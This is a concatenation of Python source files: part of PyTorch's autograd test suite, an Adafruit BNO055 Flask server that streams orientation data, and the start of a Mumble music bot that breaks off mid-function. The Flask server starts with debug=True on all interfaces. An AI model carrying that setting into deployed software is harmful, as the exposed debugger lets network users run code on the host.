torch.rand(10, dtype=torch.double, device=device, requires_grad=True).clone() b = a.view_as(a) c = b.unbind(0) with self.assertRaises(RuntimeError): c[0].mul_(2) def test_inplace_on_view_makes_base_require_grad(self, device): # in-place modification to view makes base require grad a = torch.randn(4, 4, dtype=torch.double, device=device, requires_grad=False) b = torch.randn(4, 2, dtype=torch.double, device=device, requires_grad=True) def func(root, b): x = root.clone() self.assertFalse(x.requires_grad) x.narrow(1, 2, 2).mul_(b) self.assertTrue(x.requires_grad) return x gradcheck(func, [a, b], raise_exception=True) go = torch.randn(a.size(), dtype=torch.double, device=device, requires_grad=True) gradgradcheck(func, (a, b), (go,)) def test_inplace_on_view_backprop_view(self, device): # modify view and backprop through view a = torch.tensor([2., 5.], device=device, requires_grad=False) b = torch.tensor([3.], device=device, requires_grad=True) res = a.narrow(0, 1, 1).mul_(b) res.sum().backward() self.assertEqual(b.grad.tolist(), [5]) self.assertIsNone(a.grad) def test_inplace_on_view_modify_base(self, device): # Test that an in-place operation on a base that forced it to require # grad also forces any previous views to require grad and backprop # correctly r = torch.ones(1, dtype=torch.double, device=device, requires_grad=True) def fn(r): x = torch.ones(5, dtype=torch.double, device=device) v = x.select(0, 1) self.assertFalse(v.requires_grad) self.assertIsNone(v.grad_fn) x.add_(r) # v is now dependent on r due to the in-place op on x self.assertTrue(v.requires_grad) return v gradcheck(fn, [r]) gradgradcheck(fn, [r]) def test_inplace_on_view_python(self, device): # in-place modifications of Python-autograd created view a = torch.randn(4, 4, dtype=torch.double, device=device, requires_grad=True) b = torch.randn(2, 2, dtype=torch.double, device=device, requires_grad=True) class PyAdd(torch.autograd.Function): @staticmethod def forward(ctx, x, y): ctx.mark_dirty(x) x.add_(y) return x @staticmethod def backward(ctx, grad): return grad, grad def func(root, b): x = root.clone() PyAdd.apply(x.narrow(1, 2, 2).narrow(0, 1, 2), b) PyAdd.apply(x.narrow(1, 0, 2).narrow(0, 1, 2), b) return x gradcheck(func, [a, b], raise_exception=True) go = torch.randn(a.size(), dtype=torch.double, device=device, requires_grad=True) gradgradcheck(func, (a, b), (go,)) def test_inplace_on_view_non_contig(self, device): root = torch.ones(2, 3, 2, device=device).select(2, 1).t().requires_grad_(True) x = root.clone() v1 = x.narrow(0, 0, 1) v2 = v1.narrow(1, 1, 1) v2.mul_(2) x.sum().backward() self.assertEqual(root.grad.tolist(), [[1, 2], [1, 1], [1, 1]]) def test_inplace_on_view_multi_output_unsafe(self, device): for f in [lambda t: t.unsafe_split(1), lambda t: t.unsafe_split_with_sizes((1, 1, 1)), lambda t: t.unsafe_chunk(3)]: a = torch.randn(3, 3, device=device, requires_grad=True) b = a + a s1, s2, s3 = f(b) s1.mul_(s2) s1.sum().backward() def test_inplace_on_view_multi_output_safe(self, device): for f in [lambda t: t.split(1), lambda t: t.split_with_sizes((1, 1, 1)), lambda t: t.chunk(3)]: a = torch.randn(3, 3, device=device, requires_grad=True) b = a + a s1, s2, s3 = f(b) error_msg = 'This view is the output of a function that returns multiple views.' with self.assertRaisesRegex(RuntimeError, error_msg): s1.mul_(s2) def test_mv_grad_stride_0(self, device): # Reference: https://github.com/pytorch/pytorch/issues/38315 mat = torch.randn(2, 2, dtype=torch.double, device=device) vec = torch.randn(1, dtype=torch.double, device=device).requires_grad_(True) def fn(vec): # Expand inside the function to make sure the input to # gradcheck does not have overlapping memory vec = vec.expand(2) return (mat @ vec).sum() gradcheck(fn, (vec)) gradgradcheck(fn, (vec)) @onlyCUDA def test_gradcheck_input_output_different_device(self, device): x = torch.ones((1,), dtype=torch.double, device="cuda", requires_grad=True) gradcheck(lambda x: x.to("cpu"), (x,)) x = torch.ones((1,), dtype=torch.double, device="cpu", requires_grad=True) gradcheck(lambda x: x.to("cuda"), (x,)) # TODO: see if this can be OpInfo'd or moved to test_reductions.py def test_logcumsumexp_large_value(self, device): a = torch.rand(4, 4, 4, dtype=torch.double, requires_grad=True) with torch.no_grad(): # Large Number a[0] = 10000 gradcheck(lambda x: x.logcumsumexp(0), a) gradgradcheck(lambda x: x.logcumsumexp(0), a) gradcheck(lambda x: x.logcumsumexp(1), a) gradgradcheck(lambda x: x.logcumsumexp(1), a) gradcheck(lambda x: x.logcumsumexp(2), a) gradgradcheck(lambda x: x.logcumsumexp(2), a) def test_strided_leaf_grad_layout(self, device): # (1) If leaf is non-overlapping and dense, grad's layout should match its leaf. for fmt_a in (torch.contiguous_format, torch.channels_last): for fmt_b in (torch.contiguous_format, torch.channels_last): a = torch.rand((2, 3, 4, 5), device=device).to(memory_format=fmt_a) b = torch.rand((2, 3, 4, 5), device=device).to(memory_format=fmt_b) a.requires_grad_() b.requires_grad_() # checks (1) for broadcasted gradients a.sum().backward() self.assertEqual(a.grad.stride(), a.stride()) b.sum().backward() self.assertEqual(b.grad.stride(), b.stride()) # checks (1) for non-broadcasted gradients a.grad = None b.grad = None (a * b).sum().backward() self.assertEqual(a.grad.stride(), a.stride()) self.assertEqual(b.grad.stride(), b.stride()) # (2) If leaf isn't dense, checks that grads are rowmajor contiguous. c = torch.empty_strided((2, 2), (4, 2), device=device).copy_(torch.rand((2, 2), device=device)) c.requires_grad_() d = torch.rand((2, 2), device=device) # checks (2) for broadcasted gradients c.sum().backward() self.assertEqual(c.grad.stride(), (2, 1)) # checks (2) for non-broadcasted gradients c.grad = None (c * d).sum().backward() self.assertEqual(c.grad.stride(), (2, 1)) # TODO: OpInfo this or move to atleast's test suite def _test_atleast(self, device, torch_fn): # 0-dim s = torch.tensor(0.5, dtype=torch.double, requires_grad=True) gradcheck(lambda x: torch_fn(x), s) gradgradcheck(lambda x: torch_fn(x), s) # 1-dim a = torch.rand(4, dtype=torch.double, requires_grad=True) gradcheck(lambda x: torch_fn(x), a) gradgradcheck(lambda x: torch_fn(x), a) # 2,3,4-dim b = torch.rand(4, 3, dtype=torch.double, requires_grad=True) c = torch.rand(4, 3, 2, dtype=torch.double, requires_grad=True) d = torch.rand(4, 3, 2, 1, dtype=torch.double, requires_grad=True) input_tuple = (s, a, b, c, d) gradcheck(lambda s, w, x, y, z: torch_fn(s, w, x, y, z), input_tuple) gradgradcheck(lambda s, w, x, y, z: torch_fn(s, w, x, y, z), input_tuple) def test_atleast(self, device): self._test_atleast(device, torch.atleast_1d) self._test_atleast(device, torch.atleast_2d) self._test_atleast(device, torch.atleast_3d) # TODO: opinfo this or move to test_binary_ufuncs.py def test_xlogy(self, device): def _tensor_tensor_helper(x, y): gradcheck(lambda x, y: torch.xlogy(x, y), (x, y)) gradgradcheck(lambda x, y: torch.xlogy(x, y), (x, y)) with torch.no_grad(): x = x.clone() x[torch.rand_like(x) > 0.5] = 0 gradcheck(lambda y: torch.xlogy(x, y), (y)) gradgradcheck(lambda y: torch.xlogy(x, y), (y)) shapes = ((4,), (1, 4), (1, 1, 4), (1, 1, 1, 4)) # For broadcastible shapes and scalar. for x_shape, y_shape in permutations(shapes, 2): x = torch.rand(*x_shape, dtype=torch.double, device=device, requires_grad=True) y = torch.rand(*y_shape, dtype=torch.double, device=device, requires_grad=True) _tensor_tensor_helper(x, y) _tensor_tensor_helper(y, x) gradcheck(lambda y: torch.xlogy(0, y), (y)) gradgradcheck(lambda y: torch.xlogy(0, y), (y)) gradcheck(lambda y: torch.xlogy(2, y), (y)) gradgradcheck(lambda y: torch.xlogy(2, y), (y)) gradcheck(lambda y: torch.xlogy(y, 2), (y)) gradgradcheck(lambda y: torch.xlogy(y, 2), (y)) # Different shape x = torch.rand(2, 3, 4, 5, dtype=torch.double, device=device, requires_grad=True) y = torch.rand(4, 5, dtype=torch.double, device=device, requires_grad=True) _tensor_tensor_helper(x, y) _tensor_tensor_helper(y, x) _tensor_tensor_helper(x, x) _tensor_tensor_helper(y, y) # Same shape x = torch.rand(4, 5, dtype=torch.double, device=device, requires_grad=True) y = torch.rand(4, 5, dtype=torch.double, device=device, requires_grad=True) _tensor_tensor_helper(x, y) _tensor_tensor_helper(y, x) _tensor_tensor_helper(x, x) _tensor_tensor_helper(y, y) def test_copy_r_to_c(self, device): out_c = torch.empty(3, 2, dtype=torch.cdouble, device=device) inp_r = torch.randn(3, 2, dtype=torch.double, device=device, requires_grad=True) def do_test(): out_c.copy_(inp_r) out_c.sum().backward() self.assertEqual(inp_r.grad, torch.ones_like(inp_r)) self.assertNotWarn(do_test) class TestAutogradInferenceMode(TestCase): def _is_inference_tensor(self, tensor): try: err_msg = "Inference tensors do not track version counter" with self.assertRaisesRegex(RuntimeError, err_msg): tensor._version return True except AssertionError as e: return False def test_inference_mode_context_manager(self): self.assertFalse(torch.is_inference_mode_enabled()) with torch.inference_mode(): self.assertTrue(torch.is_inference_mode_enabled()) with torch.inference_mode(False): self.assertFalse(torch.is_inference_mode_enabled()) self.assertTrue(torch.is_inference_mode_enabled()) self.assertFalse(torch.is_inference_mode_enabled()) def test_inference_mode_decorator(self): @torch.inference_mode() def func(x): self.assertTrue(torch.is_inference_mode_enabled()) return x * x for requires_grad in (True, False): c = torch.ones(1, 2, 3, requires_grad=requires_grad) d = func(c) self.assertTrue(torch.is_inference(d)) self.assertFalse(d.requires_grad) def test_inference_mode_tensor_creation(self): with torch.inference_mode(): # new tensors created through constructors are inference tensors c = torch.ones(1, 2, 3) self.assertFalse(c.requires_grad) self.assertTrue(torch.is_inference(c)) # requires_grad doesn't change inference tensor behavior in InferenceMode tmp = torch.ones(1, 2, 3, requires_grad=True) self.assertTrue(tmp.requires_grad) self.assertTrue(torch.is_inference(tmp)) tmp = torch.ones(1, 2, 3).requires_grad_(False) self.assertFalse(tmp.requires_grad) self.assertTrue(torch.is_inference(tmp)) def test_inference_mode_existing_autograd_session(self): s = torch.ones(1, 2, 3, requires_grad=True) a = s.clone() # `a` gets saved outside of inference mode out = a * a with torch.inference_mode(): a.add_(2) self.assertFalse(torch.is_inference(a)) # tensors created outside of inference mode aren't # inference tensors, so they will still have their # version counters tracked err_msg = ("one of the variables needed for gradient computation has been " "modified by an inplace operation") with self.assertRaisesRegex(RuntimeError, err_msg): out.backward(torch.ones_like(out)) def test_inference_mode_inf_tensor_in_inf_mode_functional_op(self): def functional_op(x): return x * x with torch.inference_mode(): for requires_grad in (True, False): c = torch.ones(1, 2, 3, requires_grad=requires_grad) # performing a non-view operation produces a inference tensor # that does not require grad func_out = functional_op(c) self.assertTrue(torch.is_inference(func_out)) self.assertFalse(func_out.requires_grad) def test_inference_mode_inf_tensor_in_inf_mode_inplace_op(self): @torch.inference_mode() def run_test(fn): for requires_grad in (True, False): c = torch.ones(1, 2, 3, requires_grad=requires_grad) # after performing inplace operation, tensor is still # an inference tensor fn(c) self.assertTrue(torch.is_inference(c)) self.assertEqual(c.requires_grad, requires_grad) run_test(lambda x: x.add_(2)) run_test(lambda x: x.transpose_(0, 1)) def test_inference_mode_inf_tensor_in_inf_mode_view_op(self): with torch.inference_mode(): for requires_grad in (True, False): c = torch.ones(1, 2, 3, requires_grad=requires_grad) # perform view operation produces inference tensor # that does not require grad view_out = c.view(-1) self.assertTrue(torch.is_inference(view_out)) self.assertFalse(view_out.requires_grad) def test_inference_mode_inf_tensor_in_normal_mode_functional_op(self): def functional_op(x): return x * x for requires_grad in (True, False): with torch.inference_mode(): c = torch.ones(1, 2, 3, requires_grad=requires_grad) func_out = functional_op(c) self.assertFalse(torch.is_inference(func_out)) self.assertFalse(func_out.requires_grad) self.assertTrue(func_out.is_leaf) def test_inference_mode_inf_tensor_in_normal_mode_inplace_op(self): def run_test(fn): for requires_grad in (False, True): with torch.inference_mode(): c = torch.ones(1, 2, 3, requires_grad=requires_grad) if requires_grad: # leaf variable that requires grad is being used in an inplace # operation when requires_grad=True pass else: err_msg = "Inplace update to inference tensor outside InferenceMode" with self.assertRaisesRegex(RuntimeError, err_msg): fn(c) run_test(lambda x: x.add_(2)) run_test(lambda x: x.transpose_(0, 1)) def test_inference_mode_inf_tensor_in_normal_mode_view_op(self): for requires_grad in (True, False): with torch.inference_mode(): c = torch.ones(1, 2, 3, requires_grad=requires_grad) out = c.view(-1) self.assertTrue(torch.is_inference(out)) self.assertFalse(out.requires_grad) self.assertFalse(out._is_view()) self.assertTrue(out.is_leaf) def test_normal_tensor_inplace_output_in_inference_mode(self): def run_test(fn): for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) a = s.clone() with torch.inference_mode(): fn(a) self.assertFalse(torch.is_inference(a)) self.assertEqual(a.requires_grad, requires_grad) # inplace -> inplace fn(a) self.assertFalse(torch.is_inference(a)) self.assertEqual(a.requires_grad, requires_grad) # inplace -> inplace -> view view_out = a.view(-1) self.assertFalse(torch.is_inference(view_out)) self.assertEqual(view_out.requires_grad, requires_grad) run_test(lambda x: x.add_(2)) run_test(lambda x: x.transpose_(0, 1)) def test_normal_tensor_inplace_output_in_normal_mode(self): def run_test(fn): for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) a = s.clone() with torch.inference_mode(): fn(a) self.assertFalse(torch.is_inference(a)) self.assertEqual(a.requires_grad, requires_grad) fn(a) self.assertFalse(torch.is_inference(a)) self.assertEqual(a.requires_grad, requires_grad) # inplace -> inplace fn(a) self.assertFalse(torch.is_inference(a)) self.assertEqual(a.requires_grad, requires_grad) # inplace -> inplace -> view view_out = a.view(-1) self.assertFalse(torch.is_inference(view_out)) self.assertEqual(view_out.requires_grad, requires_grad) run_test(lambda x: x.add_(2)) run_test(lambda x: x.transpose_(0, 1)) def test_normal_tensor_view_output_in_inference_mode(self): for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) a = s.clone() with torch.inference_mode(): out = a.view(-1) self.assertFalse(torch.is_inference(out)) self.assertEqual(out.requires_grad, requires_grad) self.assertTrue(out._is_view()) # view -> view tmp = out.view(-1) self.assertFalse(torch.is_inference(tmp)) self.assertEqual(tmp.requires_grad, requires_grad) self.assertTrue(tmp._is_view()) self.assertTrue(tmp.is_leaf) # view -> view -> inplace self.assertTrue(torch.is_inference_mode_enabled()) tmp.add_(2) self.assertFalse(torch.is_inference(tmp)) self.assertEqual(tmp.requires_grad, requires_grad) # Accessing is_leaf in python tries to update grad_fn and raises: # A view was created in inference mode and its base or # another view of its base has been modified inplace in normal mode # tmp.is_leaf self.assertEqual(a._version, tmp._version) def test_normal_tensor_view_output_in_normal_mode(self): def functional_op(x): return x * x for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) a = s.clone() with torch.inference_mode(): out = a.view(-1) self.assertFalse(torch.is_inference(out)) self.assertEqual(out.requires_grad, requires_grad) self.assertTrue(out._is_view()) self.assertTrue(out.is_leaf) tmp = functional_op(out) self.assertFalse(torch.is_inference(tmp)) self.assertEqual(tmp.requires_grad, requires_grad) if requires_grad: err_msg = "A view was created in inference mode and is being modified inplace" with self.assertRaisesRegex(RuntimeError, err_msg): out.add_(2) pass else: out.add_(2) tmp = out.view(2, 3) self.assertFalse(torch.is_inference(tmp)) self.assertEqual(tmp.requires_grad, requires_grad) def test_mix_inference_and_normal_tensor_functional_op(self): for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) with torch.inference_mode(): c = torch.ones(1, 2, 3, requires_grad=requires_grad) # add is safe since it doesn't save any variable for backward out = c.add(s) self.assertFalse(torch.is_inference(out)) self.assertEqual(out.requires_grad, requires_grad) if requires_grad: # leaf inference tensor with requires_grad=True can still have gradient out.backward(torch.ones_like(out)) self.assertEqual(c.grad, torch.ones_like(c)) if requires_grad: err_msg = "Inference tensors cannot be saved for backward" with self.assertRaisesRegex(RuntimeError, err_msg): c * s # inference tensor in TensorList input inputs = [s, c] with self.assertRaisesRegex(RuntimeError, err_msg): torch.stack(inputs) def test_mix_inference_and_normal_tensor_inplace_op(self): for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) a = s.clone() with torch.inference_mode(): c = torch.ones(1, 2, 3) self.assertTrue(torch.is_inference(c)) if requires_grad: err_msg = "Inference tensors cannot be saved for backward" with self.assertRaisesRegex(RuntimeError, err_msg): a.mul_(c) # inference tensor in TensorList input err_msg = ("out=... arguments don't support automatic differentiation, " "but one of the arguments requires grad") with self.assertRaisesRegex(RuntimeError, err_msg): torch.mul(s, s, out=c) else: a.mul_(c) err_msg = "Inplace update to inference tensor outside InferenceMode is not allowed" with self.assertRaisesRegex(RuntimeError, err_msg): torch.mul(s, s, out=c) def test_mix_inference_and_normal_tensor_view_op(self): for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) with torch.inference_mode(): c = torch.ones(1, 2, 3) # view_as is a composite op which calls view with only one # tensor argument. So there isn't a mixed inference and normal # tensor inputs for view ops tmp1 = c.view_as(s) self.assertTrue(torch.is_inference(tmp1)) self.assertFalse(tmp1.requires_grad) # this is fine since its equivalent as s.view(c.sizes()) which # isn't a mixed input scenario tmp2 = s.view_as(c) self.assertFalse(torch.is_inference(tmp2)) self.assertEqual(tmp2.requires_grad, requires_grad) def test_inference_mode_handle_direct_view_on_rebase(self): def run_test(fn): for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) a = s.clone() with torch.inference_mode(): view_out = a.view_as(a) if requires_grad: err_msg = "A view was created in inference mode and is being modified inplace" with self.assertRaisesRegex(RuntimeError, err_msg): fn(view_out) pass else: fn(view_out) run_test(lambda x: x.add_(2)) run_test(lambda x: x.transpose_(0, 1)) def test_inference_mode_handle_indirect_view_on_rebase(self): def run_test(fn): for requires_grad in (True, False): s = torch.ones(1, 2, 3, requires_grad=requires_grad) a = s.clone() with torch.inference_mode(): view_out = a.view(-1) fn(a) if requires_grad: err_msg = "A view was created in inference mode and its base or another view " with self.assertRaisesRegex(RuntimeError, err_msg): view_out.grad_fn pass else: view_out.grad_fn run_test(lambda x: x.add_(2)) run_test(lambda x: x.transpose_(0, 1)) class TestMultithreadAutograd(TestCase): def _run_py_multithread_fn(self, fn, args=(), num_threads=10, kwargs=None): threads = [] for _ in range(num_threads): p = threading.Thread(target=fn, args=(args)) p.start() threads.append(p) for p in threads: p.join() def test_simple_backward(self): # simple multithreaded backward that create threads in the beginning of training # and everything else is training separately, i.e. inputs, operations, etc. def train_fn(): x = torch.ones(5, 5, requires_grad=True) y = (x + 3) * (x + 4) * 0.5 y.sum().backward() self.assertEqual(x.grad, x + 3.5) self._run_py_multithread_fn(train_fn) def test_simple_backward_same_input(self): # simple multithreaded backward with only shared inputs (i.e. This is common # for things like Hogwild multithreaded training with multiple CPU threads) def train_fn_backward(x): y = (x + 3) * (x + 4) * 0.5 y.sum().backward() x = torch.ones(5, 5, requires_grad=True) self._run_py_multithread_fn(train_fn_backward, (x,)) # Since we are calling backward from multiple threads # and all threads share the same input, when we do backward # concurrently, different backwards will all accumulate to # the same .grad for each input, and the gradients should # be equal to num_threads * gradient self.assertEqual(x.grad, 10 * (x + 3.5)) def train_fn_grad(x): y = (x + 3) * (x + 4) * 0.5 grads = torch.autograd.grad(y.sum(), x) self.assertEqual(len(grads), 1) self.assertEqual(grads[0], x + 3.5) # since we use functional grad() api, gradients will not # be accumulate to the same place and should be the same self._run_py_multithread_fn(train_fn_grad, (x,)) def test_python_thread_in_middle(self): # User might write a network that starts on one CPU thread, then runs its second half # concurrently with other threads (either via python threading or fork/join calls), # then calls backward()/grad() on BOTH threads, like a Y pattern from input at the # bottom to output at the top. This way part of the GraphTask is being shared across # different threads and we need to ensure user specify retain_graph=True, otherwise # error out with the correct error message # Case 1: multiple backward with python threads, retain_graph=False # should throw error in some threads with no retain_graph. success_vs_raises = [0, 0] def train_fn_no_retain_graph(x): y = x + x ** 2 try: y.sum().backward() success_vs_raises[0] += 1 except RuntimeError as error: success_vs_raises[1] += 1 self.assertRegex(str(error), "Specify retain_graph=True") x_no_retain = torch.ones(5, 5, requires_grad=True) y_no_retain = x_no_retain + x_no_retain ** 2 self._run_py_multithread_fn(train_fn_no_retain_graph, (y_no_retain,), num_threads=5) # at least one thread will be success in this case, all other threads should raise # with the error that throw to user to recommend them specify retain_graph=True self.assertTrue(success_vs_raises[0] >= 1) # multiple backward with python threads, no error with retain_graph=True def train_fn_retain_graph(x): y = x + x ** 2 y.sum().backward(retain_graph=True) x_retain = torch.ones(5, 5, requires_grad=True) y_retain = x_retain + x_retain ** 2 self._run_py_multithread_fn(train_fn_retain_graph, (y_retain,), num_threads=5) # result should equal to num_thread * gradients self.assertEqual(x_retain.grad, 5 * (4 * x_retain ** 3 + 6 * (x_retain ** 2) + 4 * x_retain + 1)) def test_fork_join_in_middle(self): # multiple backward with jit threads (fork/join primitive) # similar to test_python_thread_in_middle, we test with retain_graph=False/True # Case 1: multiple grad() calls with jit threads, retain_graph=False # should throw error in some threads with no retain_graph. @torch.jit.script def train_fn_jit_no_retain(middle, orig_x): y = middle + middle ** 2 return torch.autograd.grad([y.sum()], [orig_x]) @torch.jit.script def train_fn_fork_join_calls_no_retain(x): y_no_retain = (x + 3) * (x + 4) * 0.5 fut = torch.jit._fork(train_fn_jit_no_retain, y_no_retain, x) grad_hat = train_fn_jit_no_retain(y_no_retain, x) grad = torch.jit._wait(fut) return grad, grad_hat try: train_fn_fork_join_calls_no_retain(torch.randn(5, 5, requires_grad=True)) except RuntimeError as error: self.assertRegex(str(error), "Specify retain_graph=True") # Case 2: no error with retain_graph=True @torch.jit.script def train_fn_jit_retain(middle, orig_x): y = middle + middle ** 2 return torch.autograd.grad([y.sum()], [orig_x], retain_graph=True) @torch.jit.script def train_fn_fork_join_calls_retain(x): y_retain = (x + 3) * (x + 4) * 0.5 fut1 = torch.jit._fork(train_fn_jit_retain, y_retain, x) fut2 = torch.jit._fork(train_fn_jit_retain, y_retain, x) grad = train_fn_jit_retain(y_retain, x) grad1 = torch.jit._wait(fut1) grad2 = torch.jit._wait(fut2) return grad, grad1, grad2 grad, grad1, grad2 = train_fn_fork_join_calls_retain(torch.randn(5, 5, requires_grad=True)) self.assertEqual(grad, grad1) self.assertEqual(grad, grad2) def test_preserve_backtrace(self): class Foo(torch.autograd.Function): @staticmethod def forward(ctx, input): return input @staticmethod def backward(ctx, *grad): raise ValueError("something") t = torch.rand(10, requires_grad=True) try: Foo.apply(t).sum().backward() except Exception: import traceback tb = sys.exc_info()[2] tb_str = "\n".join(traceback.format_tb(tb)) self.assertTrue('raise ValueError("something")' in tb_str) # TODO(@anjali411): add an OpInfo based test for torch.cat # Issue: https://github.com/pytorch/pytorch/issues/51627 def test_cat_r_to_c(self): inp_c = torch.rand(3, 2, dtype=torch.cdouble, requires_grad=True) inp_r = torch.randn(3, 2, dtype=torch.double, requires_grad=True) def fn(x1, x2): return torch.cat((x1, x2), dim=-1) torch.autograd.gradcheck(fn, [inp_r, inp_c], check_forward_ad=True) torch.autograd.gradcheck(fn, [inp_c, inp_r], check_forward_ad=True) # e.g., TestAutogradDeviceTypeCPU and TestAutogradDeviceTypeCUDA instantiate_device_type_tests( TestAutogradDeviceType, globals(), except_for=None ) if __name__ == '__main__': run_tests()
server.py
# Adafruit BNO055 WebGL Example # # Requires the flask web framework to be installed. See http://flask.pocoo.org/ # for installation instructions, however on a Linux machine like the Raspberry # Pi or BeagleBone black you can likely install it by running: # sudo apt-get update # sudo apt-get install python3-flask # # Copyright (c) 2015 Adafruit Industries # Author: Tony DiCola # 2019 update: Carter Nelson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import json import logging import threading import time from flask import * import board import busio import adafruit_bno055 i2c = busio.I2C(board.SCL, board.SDA) # Create the BNO sensor connection. bno = adafruit_bno055.BNO055(i2c) # Application configuration below. You probably don't need to change these values. # How often to update the BNO sensor data (in hertz). BNO_UPDATE_FREQUENCY_HZ = 10 # Name of the file to store calibration data when the save/load calibration # button is pressed. Calibration data is stored in JSON format. CALIBRATION_FILE = 'calibration.json' # BNO sensor axes remap values. These are the parameters to the BNO.set_axis_remap # function. Don't change these without consulting section 3.4 of the datasheet. # The default axes mapping below assumes the Adafruit BNO055 breakout is flat on # a table with the row of SDA, SCL, GND, VIN, etc pins facing away from you. #BNO_AXIS_REMAP = { 'x': BNO055.AXIS_REMAP_X, # 'y': BNO055.AXIS_REMAP_Z, # 'z': BNO055.AXIS_REMAP_Y, # 'x_sign': BNO055.AXIS_REMAP_POSITIVE, # 'y_sign': BNO055.AXIS_REMAP_POSITIVE, # 'z_sign': BNO055.AXIS_REMAP_NEGATIVE } # Create flask application. app = Flask(__name__) # Global state to keep track of the latest readings from the BNO055 sensor. # This will be accessed from multiple threads so care needs to be taken to # protect access with a lock (or else inconsistent/partial results might be read). # A condition object is used both as a lock for safe access across threads, and # to notify threads that the BNO state has changed. bno_data = {} bno_changed = threading.Condition() # Background thread to read BNO sensor data. Will be created right before # the first request is served (see start_bno_thread below). bno_thread = None def read_bno(): """Function to read the BNO sensor and update the bno_data object with the latest BNO orientation, etc. state. Must be run in its own thread because it will never return! """ while True: # Capture the lock on the bno_changed condition so the bno_data shared # state can be updated. with bno_changed: bno_data['euler'] = bno.euler bno_data['temp'] = bno.temperature bno_data['quaternion'] = bno.quaternion bno_data['calibration'] = bno.calibration_status # Notify any waiting threads that the BNO state has been updated. bno_changed.notifyAll() # Sleep until the next reading. time.sleep(1.0/BNO_UPDATE_FREQUENCY_HZ) def bno_sse(): """Function to handle sending BNO055 sensor data to the client web browser using HTML5 server sent events (aka server push). This is a generator function that flask will run in a thread and call to get new data that is pushed to the client web page. """ # Loop forever waiting for a new BNO055 sensor reading and sending it to # the client. Since this is a generator function the yield statement is # used to return a new result. while True: # Capture the bno_changed condition lock and then wait for it to notify # a new reading is available. with bno_changed: bno_changed.wait() # A new reading is available! Grab the reading value and then give # up the lock. heading, roll, pitch = bno_data['euler'] temp = bno_data['temp'] x, y, z, w = bno_data['quaternion'] sys, gyro, accel, mag = bno_data['calibration'] # Send the data to the connected client in HTML5 server sent event format. data = {'heading': heading, 'roll': roll, 'pitch': pitch, 'temp': temp, 'quatX': x, 'quatY': y, 'quatZ': z, 'quatW': w, 'calSys': sys, 'calGyro': gyro, 'calAccel': accel, 'calMag': mag } yield 'data: {0}\n\n'.format(json.dumps(data)) @app.before_first_request def start_bno_thread(): # Start the BNO thread right before the first request is served. This is # necessary because in debug mode flask will start multiple main threads so # this is the only spot to put code that can only run once after starting. # See this SO question for more context: # http://stackoverflow.com/questions/24617795/starting-thread-while-running-flask-with-debug global bno_thread # Kick off BNO055 reading thread. bno_thread = threading.Thread(target=read_bno) bno_thread.daemon = True # Don't let the BNO reading thread block exiting. bno_thread.start() @app.route('/bno') def bno_path(): # Return SSE response and call bno_sse function to stream sensor data to # the webpage. return Response(bno_sse(), mimetype='text/event-stream') @app.route('/save_calibration', methods=['POST']) def save_calibration(): # Save calibration data to disk. # # TODO: implement this # return 'OK' @app.route('/load_calibration', methods=['POST']) def load_calibration(): # Load calibration from disk. # # TODO: implement this # return 'OK' @app.route('/') def root(): return render_template('index.html') if __name__ == '__main__': # Create a server listening for external connections on the default # port 5000. Enable debug mode for better error messages and live # reloading of the server on changes. Also make the server threaded # so multiple connections can be processed at once (very important # for using server sent events). app.run(host='0.0.0.0', debug=True, threaded=True)
mumbleBot.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import re import threading import time import sys import math import signal import configparser import audioop import subprocess as sp import argparse import os import os.path import pymumble_py3 as pymumble import pymumble_py3.constants import variables as var import logging import logging.handlers import traceback import struct from packaging import version import util import command import constants import media.playlist from constants import tr_cli as tr from database import SettingsDatabase, MusicDatabase, DatabaseMigration from media.item import ValidationFailedError, PreparationFailedError from media.cache import MusicCache class MumbleBot: version = 'git' def __init__(self, args): self.log = logging.getLogger("bot") self.log.info(f"bot: botamusique version {self.get_version()}, starting...") signal.signal(signal.SIGINT, self.ctrl_caught) self.cmd_handle = {} self.stereo = var.config.getboolean('bot', 'stereo') if args.channel: self.channel = args.channel else: self.channel = var.config.get("server", "channel") var.user = args.user var.is_proxified = var.config.getboolean( "webinterface", "is_web_proxified") # Flags to indicate the bot is exiting (Ctrl-C, or !kill) self.exit = False self.nb_exit = 0 # Related to ffmpeg thread self.thread = None self.thread_stderr = None self.read_pcm_size = 0 self.pcm_buffer_size = 0 self.last_ffmpeg_err = "" # Play/pause status self.is_pause = False self.pause_at_id = "" self.playhead = -1 # current position in a song. self.song_start_at = -1 self.wait_for_ready = False # flag for the loop are waiting for download to complete in the other thread # self.on_interrupting = False if args.host: host = args.host else: host = var.config.get("server", "host") if args.port: port = args.port else: port = var.config.getint("server", "port") if args.password: password = args.password else: password = var.config.get("server", "password") if args.channel: self.channel = args.channel else: self.channel = var.config.get("server", "channel") if args.certificate: certificate = args.certificate else: certificate = util.solve_filepath(var.config.get("server", "certificate")) if args.tokens: tokens = args.tokens else: tokens = var.config.get("server", "tokens") tokens = tokens.split(',') if args.user: self.username = args.user else: self.username = var.config.get("bot", "username") if args.bandwidth: self.bandwidth = args.bandwidth else: 